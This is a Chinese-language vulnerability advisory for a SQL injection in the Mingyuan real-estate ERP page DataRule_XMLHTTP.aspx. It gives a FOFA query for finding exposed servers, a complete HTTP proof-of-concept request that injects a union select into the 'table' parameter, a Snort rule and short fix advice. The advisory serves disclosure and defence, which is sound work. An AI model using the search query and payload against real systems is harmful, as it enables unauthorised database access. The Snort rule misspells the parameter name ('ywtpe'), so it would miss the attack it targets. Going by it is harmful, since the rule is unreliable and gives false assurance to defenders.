

# 明源地产ERP DataRule\_XMLHTTP.aspx 存在SQL注入漏洞

明源地产ERP DataRule\_XMLHTTP.aspx 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

## 影响版本

明源地产ERP

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: body="/\_common/scripts/md5-min.js"

POC/EXP:

```
GET /BUAdjust/DataRule/DataRule_XMLHTTP.aspx/?
ywtype=getFieldXML&table=-1%27%20union%20select%20@@version-- HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101
Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Mingyuan ERP - Union-Based SQLi in DataRule_XMLHTTP.aspx";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/BUAdjust/DataRule/DataRule_XMLHTTP.aspx"; http_uri;
  content:"ywtpe=getFieldXML"; http_uri;
  pcre:"/table=[^&]*%27%20union%20select%20@@version--/i";
  metadata:service http;
  metadata:affected_product "明源地产ERP";
  metadata:vulnerability_type "MSSQL Union-Based SQL Injection";
  classtype:sql-injection;
  sid:1000354;
  rev:1;
  priority:1;
)
```

# 漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。